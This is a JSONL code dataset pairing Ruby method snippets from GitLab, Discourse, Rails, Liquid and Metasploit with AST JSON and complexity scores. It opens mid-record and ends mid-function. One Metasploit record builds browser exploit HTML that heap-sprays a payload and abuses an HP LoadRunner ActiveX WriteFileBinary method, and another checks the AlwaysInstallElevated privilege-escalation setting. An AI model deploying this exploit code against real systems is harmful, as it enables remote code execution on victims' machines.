str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]},{\"type\":\"str\",\"children\":[\" does not exist or is not accessible.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_machine_value\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hklm\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]},{\"type\":\"str\",\"children\":[\" is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_machine_value\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hklm\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]},{\"type\":\"str\",\"children\":[\" is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_machine_value\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_user_value\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"hkcu\"]},{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user_value\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hkcu\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]},{\"type\":\"str\",\"children\":[\" does not exist or is not accessible.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user_value\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hkcu\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]},{\"type\":\"str\",\"children\":[\" is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user_value\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hkcu\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"install_elevated\"]}]},{\"type\":\"str\",\"children\":[\" is \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user_value\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]}]}]}]}]}]}]}","id":"6069338f-7668-48e6-a429-da076586f63e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/group/relation_tree_restorer.rb","start_line":138,"raw_source":"def save_relation_object(relation_object, relation_key, relation_definition, relation_index)\n          if relation_object.new_record?\n            saver = Gitlab::ImportExport::Base::RelationObjectSaver.new(\n              relation_object: relation_object,\n              relation_key: relation_key,\n              relation_definition: relation_definition,\n              importable: @importable\n            )\n\n            saver.execute\n\n            log_invalid_subrelations(saver.invalid_subrelations, relation_key)\n            log_failed_subrelations(saver.failed_subrelations, relation_key)\n          else\n            if relation_object.invalid?\n              Gitlab::Import::Errors.merge_nested_errors(relation_object)\n\n              raise(ActiveRecord::RecordInvalid, relation_object)\n            end\n\n            import_failure_service.with_retry(action: 'relation_object.save!', relation_key: relation_key, relation_index: relation_index) do\n              relation_object.save!\n            end\n          end\n\n          log_relation_creation(@importable, relation_key, relation_object)\n        end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"save_relation_object\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation_object\"]},{\"type\":\"arg\",\"children\":[\"relation_key\"]},{\"type\":\"arg\",\"children\":[\"relation_definition\"]},{\"type\":\"arg\",\"children\":[\"relation_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_object\"]},\"new_record?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"saver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ImportExport\"]},\"Base\"]},\"RelationObjectSaver\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_object\"]},{\"type\":\"lvar\",\"children\":[\"relation_object\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_key\"]},{\"type\":\"lvar\",\"children\":[\"relation_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_definition\"]},{\"type\":\"lvar\",\"children\":[\"relation_definition\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable\"]},{\"type\":\"ivar\",\"children\":[\"@importable\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saver\"]},\"execute\"]},{\"type\":\"send\",\"children\":[null,\"log_invalid_subrelations\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saver\"]},\"invalid_subrelations\"]},{\"type\":\"lvar\",\"children\":[\"relation_key\"]}]},{\"type\":\"send\",\"children\":[null,\"log_failed_subrelations\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saver\"]},\"failed_subrelations\"]},{\"type\":\"lvar\",\"children\":[\"relation_key\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_object\"]},\"invalid?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Import\"]},\"Errors\"]},\"merge_nested_errors\",{\"type\":\"lvar\",\"children\":[\"relation_object\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},{\"type\":\"lvar\",\"children\":[\"relation_object\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_failure_service\"]},\"with_retry\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"relation_object.save!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_key\"]},{\"type\":\"lvar\",\"children\":[\"relation_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_index\"]},{\"type\":\"lvar\",\"children\":[\"relation_index\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation_object\"]},\"save!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"log_relation_creation\",{\"type\":\"ivar\",\"children\":[\"@importable\"]},{\"type\":\"lvar\",\"children\":[\"relation_key\"]},{\"type\":\"lvar\",\"children\":[\"relation_object\"]}]}]}]}","id":"6ec0bf07-f6cc-4e30-bab9-8827a5d34647"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-hcaptcha/app/controllers/discourse_hcaptcha/hcaptcha_controller.rb","start_line":36,"raw_source":"def cookie_options\n      same_site = SiteSetting.same_site_cookies == \"Disabled\" ? nil : SiteSetting.same_site_cookies\n      {\n        httponly: true,\n        secure: SiteSetting.force_https,\n        expires: TOKEN_TTL.from_now,\n        same_site: same_site,\n      }.compact\n    end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"cookie_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"same_site\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"same_site_cookies\"]},\"==\",{\"type\":\"str\",\"children\":[\"Disabled\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"same_site_cookies\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"httponly\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secure\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"force_https\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOKEN_TTL\"]},\"from_now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"same_site\"]},{\"type\":\"lvar\",\"children\":[\"same_site\"]}]}]},\"compact\"]}]}]}","id":"520f43a5-fe3d-4148-b2cb-45330383fa38"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/application_setting.rb","start_line":1224,"raw_source":"def kroki_format_supported?(diagram_type)\n    case diagram_type\n    when 'excalidraw'\n      return kroki_formats_excalidraw\n    when 'bpmn'\n      return kroki_formats_bpmn\n    end\n\n    return kroki_formats_blockdiag if ::Gitlab::Kroki::BLOCKDIAG_FORMATS.include?(diagram_type)\n\n    ::AsciidoctorExtensions::Kroki::SUPPORTED_DIAGRAM_NAMES.include?(diagram_type)\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"kroki_format_supported?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diagram_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diagram_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"excalidraw\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kroki_formats_excalidraw\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"bpmn\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kroki_formats_bpmn\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Kroki\"]},\"BLOCKDIAG_FORMATS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"diagram_type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kroki_formats_blockdiag\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AsciidoctorExtensions\"]},\"Kroki\"]},\"SUPPORTED_DIAGRAM_NAMES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"diagram_type\"]}]}]}]}","id":"5cf76ec1-bde6-4fa6-bd0c-a5ef48fa31b0"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/argv_scrubber_test.rb","start_line":95,"raw_source":"def test_rc_whitespace_separated\n        file = Tempfile.new \"myrcfile\"\n        file.puts \"--hello --world\"\n        file.flush\n\n        scrubber = Class.new(ARGVScrubber) {\n          define_method(:puts) { |msg| }\n        }.new [\"new\", \"--rc=#{file.path}\"]\n        args = scrubber.prepare!\n        assert_equal [\"--hello\", \"--world\"], args\n      ensure\n        file.close\n        file.unlink\n      end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rc_whitespace_separated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\",{\"type\":\"str\",\"children\":[\"myrcfile\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"puts\",{\"type\":\"str\",\"children\":[\"--hello --world\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"flush\"]},{\"type\":\"lvasgn\",\"children\":[\"scrubber\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"ARGVScrubber\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"puts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},null]}]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"new\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--rc=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"path\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scrubber\"]},\"prepare!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--hello\"]},{\"type\":\"str\",\"children\":[\"--world\"]}]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"unlink\"]}]}]}]}","id":"6214f1ba-3759-4659-8f4b-5cc3869be491"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/hp_loadrunner_writefilebinary.rb","start_line":218,"raw_source":"def load_exploit_html(my_target, cli)\n    p = get_payload(my_target, cli)\n    js = ie_heap_spray(my_target, p)\n    object_id = rand_text_alpha(rand(10) + 8)\n\n    html = %Q|\n    <html>\n    <head>\n    <script>\n    #{js}\n    </script>\n    </head>\n    <body>\n    <object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{object_id}'></object>\n    <script language='javascript'>\n    #{object_id}.WriteFileBinary(\"#{rand_text_alpha(4 + rand(4))}\", 0x0c0c0c0c);\n    </script>\n    </body>\n    </html>\n    |\n\n    return html\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"load_exploit_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"my_target\"]},{\"type\":\"arg\",\"children\":[\"cli\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"get_payload\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js\",{\"type\":\"send\",\"children\":[null,\"ie_heap_spray\",{\"type\":\"lvar\",\"children\":[\"my_target\"]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object_id\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    <html>\\n\"]},{\"type\":\"str\",\"children\":[\"    <head>\\n\"]},{\"type\":\"str\",\"children\":[\"    <script>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"js\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    </head>\\n\"]},{\"type\":\"str\",\"children\":[\"    <body>\\n\"]},{\"type\":\"str\",\"children\":[\"    <object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_id\"]}]},{\"type\":\"str\",\"children\":[\"'></object>\\n\"]},{\"type\":\"str\",\"children\":[\"    <script language='javascript'>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_id\"]}]},{\"type\":\"str\",\"children\":[\".WriteFileBinary(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"str\",\"children\":[\"\\\", 0x0c0c0c0c);\\n\"]},{\"type\":\"str\",\"children\":[\"    </script>\\n\"]},{\"type\":\"str\",\"children\":[\"    </body>\\n\"]},{\"type\":\"str\",\"children\":[\"    </html>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]}]}]}]}","id":"29c6bd43-a7a7-49d3-84b8-a92760f48847"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/object/try.rb","start_line":7,"raw_source":"def try(*args, &block)\n      if args.empty? && block_given?\n        if block.arity == 0\n          instance_eval(&block)\n        else\n          yield self\n        end\n      elsif respond_to?(args.first)\n        public_send(*args, &block)\n      end\n    end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"try\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"block_given?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"arity\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},null]}]}]}","id":"27dc1b72-22d5-4d54-b086-db63f3b409bc"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/context_test.rb","start_line":229,"raw_source":"def test_strings\n    assert_template_result(\"hello!\", '{{ \"hello!\" }}')\n    assert_template_result(\"hello!\", \"{{ 'hello!' }}\")\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"hello!\"]},{\"type\":\"str\",\"children\":[\"{{ \\\"hello!\\\" }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"hello!\"]},{\"type\":\"str\",\"children\":[\"{{ 'hello!' }}\"]}]}]}]}","id":"cd51dedd-01a9-487d-9b84-8e4ab2ed5ee6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/aggregated/base_query_builder.rb","start_line":77,"raw_source":"def filter_assignees(query)\n            return query if params[:assignee_username].blank?\n\n            Issuables::AssigneeFilter\n              .new(params: { assignee_username: params[:assignee_username] })\n              .filter(query)\n          end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_assignees\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assignee_username\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Issuables\"]},\"AssigneeFilter\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignee_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assignee_username\"]}]}]}]}]}]}]},\"filter\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}","id":"4a0edf94-3e68-4063-a21a-8f9379f93706"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/status_action_type.rb","start_line":27,"raw_source":"def id(parent:)\n        # parent is a SimpleDelegator\n        \"#{parent.subject.class.name}-#{parent.id}\"\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"parent\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"subject\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]}]}]}","id":"ad5d4e73-d256-4f9e-b88f-b92a2054a8dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/endpoints/samba_nova.rb","start_line":11,"raw_source":"def normalize_model_params(model_params)\n          model_params = model_params.dup\n\n          # max_tokens, temperature are already supported\n          if model_params[:stop_sequences]\n            model_params[:stop] = model_params.delete(:stop_sequences)\n          end\n\n          model_params\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_model_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_params\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_params\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stop_sequences\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"stop_sequences\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"model_params\"]}]}]}","id":"a1c3d51d-3839-4f8a-ae2b-48778791c4d2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/sql/ui/console/command_dispatcher.rb","start_line":26,"raw_source":"def initialize(console)\n              super\n              @msf_loaded = nil\n              @filtered_commands = []\n            end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"console\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@msf_loaded\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@filtered_commands\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"d9313c49-3717-43d0-94dd-6b365eca783f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/notifications.rb","start_line":7,"raw_source":"def after_save_commit\n          return unless target_work_item.get_widget(:notifications)\n\n          notify_participants\n\n          return unless params[:operation] == :move\n\n          work_item.subscriptions.each_batch(of: BATCH_SIZE) do |subscriptions_batch|\n            ::Subscription.insert_all(new_work_item_subscriptions(subscriptions_batch))\n          end\n\n          # This replicates current move Issues::MoveService behaviour. This should be changed though to\n          # move sent_notifications for any work_item that is being moved.\n          return unless work_item.from_service_desk?\n\n          # When moving sent notifications for any work item this can entail updating many records in some instances.\n          # We should consider moving this to an async worker rather than have it run in a single request.\n          work_item.sent_notifications.each_batch(of: BATCH_SIZE) do |sent_notifications_batch|\n            # SentNotification does not have a sharding key yet.\n            #\n            # However when it has one it would potentially break\n            # the immutability of the sharding key, because we need to update the record in place to keep the same\n            # reply_key, which is a unique key.\n            #\n            # The alternative implies to create a new unique key and a mapping between the two keys, which requires\n            # adding a new table or array column to keep the old keys, i.e. move development effort.\n            ::SentNotification.upsert_all(\n              new_work_item_sent_notifications(sent_notifications_batch), unique_by: :reply_key\n            )\n          end\n        